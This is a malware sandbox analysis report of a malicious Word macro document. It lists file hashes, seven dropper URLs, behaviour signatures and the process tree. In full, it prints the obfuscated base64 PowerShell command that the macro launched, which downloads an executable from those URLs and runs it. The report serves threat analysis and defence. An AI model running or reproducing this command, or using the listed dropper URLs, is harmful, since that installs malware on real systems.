Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10/05/2024, 16:15

General

  • Target

    2ff8e507fdb84e814224e5851c1a6e1d_JaffaCakes118.doc

  • Size

    185KB

  • MD5

    2ff8e507fdb84e814224e5851c1a6e1d

  • SHA1

    4694e4bec6f232450bd4e32f914f3e9c9be640dc

  • SHA256

    fc42c0515e7baa7cd1f74a96a82c0104bf36921743fedf7f1a8c1117e7f7d6a0

  • SHA512

    39dfea01b2e8398c70ce7d25b350a52c73dd8bb0cd6a49b49e61dbc65da8d96e131f15932fd47c260ba2c81f805901ec943440d4aac0ee24c4bf94c30503e44b

  • SSDEEP

    1536:qI491Y2wcI491Y2w+4tcTv8kvjEuJ0dH5L0c4vs3ti18NmIIP4ovlnoR+a9+Xlj7:A4tcTvjvTY140818tIP4ovpn1jngPs

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://loungegangnam.com/4W/dz/

exe.dropper

http://indyoverheaddoors.com/wp-includes/pZ/

exe.dropper

http://geoffoglemusic.com/wp-admin/w/

exe.dropper

http://giral2.com/wp-includes/0e/

exe.dropper

https://www.lunalysis.com/wordpress/syb/

exe.dropper

http://farli.com/cgi-bin/jK/

exe.dropper

http://goldcoastoffice365.com/temp/wQ/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2ff8e507fdb84e814224e5851c1a6e1d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AGEAOABDAGsATQBcAHIARwBBAGkAXwBoAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBJAFQAYAB5AGAAcAByAG8AVABPAGAAQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgAHQAbABzADEAJwApACsAJwAxACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABJAHMAZwB1AG4AMgB2ACAAPQAgACgAJwBDACcAKwAnADgAJwArACgAJwBfAGcAMABwAHYAJwArACcAMwAnACkAKQA7ACQAWgB5AGcAcwBnAGsAZQA9ACgAJwBYACcAKwAoACcAaABmACcAKwAnAGcAMwBrACcAKQArACcAcwAnACkAOwAkAEIAbgBzAGwAbgB0AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AVAA2AGEAOABjAGsAJwArACcAbQAnACsAJwB7ADAAfQBSAGcAYQBpACcAKwAnAF8AJwArACcAaABfAHsAMAB9ACcAKQAgACAALQBGACAAIABbAEMAaABhAFIAXQA5ADIAKQArACQASQBzAGcAdQBuADIAdgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFUAbgA2AGsAdQA2AGsAPQAoACgAJwBNAGYAJwArACcAYwAnACkAKwAoACcAaQA0ACcAKwAnAGwAOQAnACkAKQA7ACQASAAxADgAdwBnAGUAdgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAEwASQBlAG4AVAA7ACQAVAAwAHIAbgBrADYAOQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGwAbwB1ACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAZQBnACcAKwAnAGEAJwApACsAJwBuACcAKwAnAGcAbgAnACsAJwBhACcAKwAoACcAbQAuAGMAbwBtAC8AJwArACcANAAnACsAJwBXAC8AJwApACsAKAAnAGQAegAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGkAJwArACcAbgBkAHkAbwB2AGUAcgBoACcAKQArACcAZQAnACsAKAAnAGEAJwArACcAZABkAG8AbwAnACkAKwAoACcAcgBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACgAJwBkAGUAcwAvACcAKwAnAHAAWgAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZwBlACcAKwAoACcAbwAnACsAJwBmAGYAbwBnACcAKQArACgAJwBsAGUAJwArACcAbQAnACsAJwB1AHMAJwArACcAaQBjAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AYQAnACkAKwAoACcAZABtACcAKwAnAGkAJwArACcAbgAvACcAKwAnAHcALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAGcAaQByACcAKwAnAGEAbAAyACcAKQArACgAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AdwBwAC0AaQBuACcAKQArACcAYwAnACsAJwBsACcAKwAoACcAdQBkAGUAcwAvADAAJwArACcAZQAvACcAKQArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAoACcALwAvAHcAJwArACcAdwB3AC4AJwArACcAbAAnACkAKwAnAHUAbgAnACsAJwBhACcAKwAoACcAbAB5AHMAJwArACcAaQAnACsAJwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3ACcAKwAnAG8AJwArACgAJwByACcAKwAnAGQAcAAnACkAKwAoACcAcgAnACsAJwBlAHMAcwAvAHMAeQAnACkAKwAnAGIAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGYAYQByAGwAJwArACcAaQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAYwBnACcAKwAnAGkALQAnACsAKAAnAGIAaQBuAC8AagAnACsAJwBLAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvAC8AJwArACgAJwBnACcAKwAnAG8AbABkAGMAbwAnACkAKwAnAGEAcwAnACsAJwB0AG8AJwArACgAJwBmACcAKwAnAGYAaQAnACkAKwAnAGMAZQAnACsAJwAzACcAKwAnADYAJwArACcANQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKwAnAHAALwAnACsAJwB3ACcAKwAnAFEAJwArACcALwAnACkALgAiAHMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQA0AHcAeABqADEAbwA9ACgAJwBYACcAKwAoACcAawAzAGcAbwAnACsAJwBtAGwAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAHkANAAzAGIAXwBtACAAaQBuACAAJABUADAAcgBuAGsANgA5ACkAewB0AHIAeQB7ACQASAAxADgAdwBnAGUAdgAuACIAZABvAGAAVwBuAGwATwBBAEQAYABGAGkATABFACIAKAAkAEgAeQA0ADMAYgBfAG0ALAAgACQAQgBuAHMAbABuAHQAbwApADsAJABOADMAZgBjADIAcwByAD0AKAAnAEoAJwArACcAdQAnACsAKAAnAGEAYgAnACsAJwBoADgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAG4AcwBsAG4AdABvACkALgAiAGwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMwAxADUAOAA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEIAbgBzAGwAbgB0AG8AKQA7ACQATgBwADAAegA2AGcAYwA9ACgAKAAnAFgAJwArACcAbwBrACcAKQArACcAZAAnACsAKAAnAGUAJwArACcAaQBmACcAKQApADsAYgByAGUAYQBrADsAJABNADEAYgBmADYANwBrAD0AKAAnAE0AagAnACsAJwB6ADEAJwArACgAJwBtADIAJwArACcAXwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA4ADcAOQBtADkAeAA9ACgAKAAnAEMAZAA2ACcAKwAnAGUAJwApACsAKAAnAGgAYgAnACsAJwBqACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2864

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      90f70c2bc454201f18f998c6cfaae24f

      SHA1

      d092068f151d9558b0938642b79649f3b933718c

      SHA256

      db89b1e2a4bd9680a438f046718a9be635bb41d7d1f0bba447b9d155f23cf02c

      SHA512

      63661e6505533a06e93f191ffa98ec6c97baab95dbf4ee8e54adfe13566ddd857e58ada97b9ae25023a7044b865c0ca2fffae0fbcf940a9523a360779d232004

    • memory/2364-33-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-34-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-6-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-0-0x000000002FE31000-0x000000002FE32000-memory.dmp

      Filesize

      4KB

    • memory/2364-8-0x0000000006500000-0x0000000006600000-memory.dmp

      Filesize

      1024KB

    • memory/2364-9-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-23-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-22-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-2-0x000000007126D000-0x0000000071278000-memory.dmp

      Filesize

      44KB

    • memory/2364-28-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-7-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-70-0x000000007126D000-0x0000000071278000-memory.dmp

      Filesize

      44KB

    • memory/2364-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2364-50-0x000000007126D000-0x0000000071278000-memory.dmp

      Filesize

      44KB

    • memory/2364-52-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-53-0x0000000005BC0000-0x0000000005CC0000-memory.dmp

      Filesize

      1024KB

    • memory/2364-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2864-41-0x00000000027F0000-0x00000000027F8000-memory.dmp

      Filesize

      32KB

    • memory/2864-40-0x000000001B560000-0x000000001B842000-memory.dmp

      Filesize

      2.9MB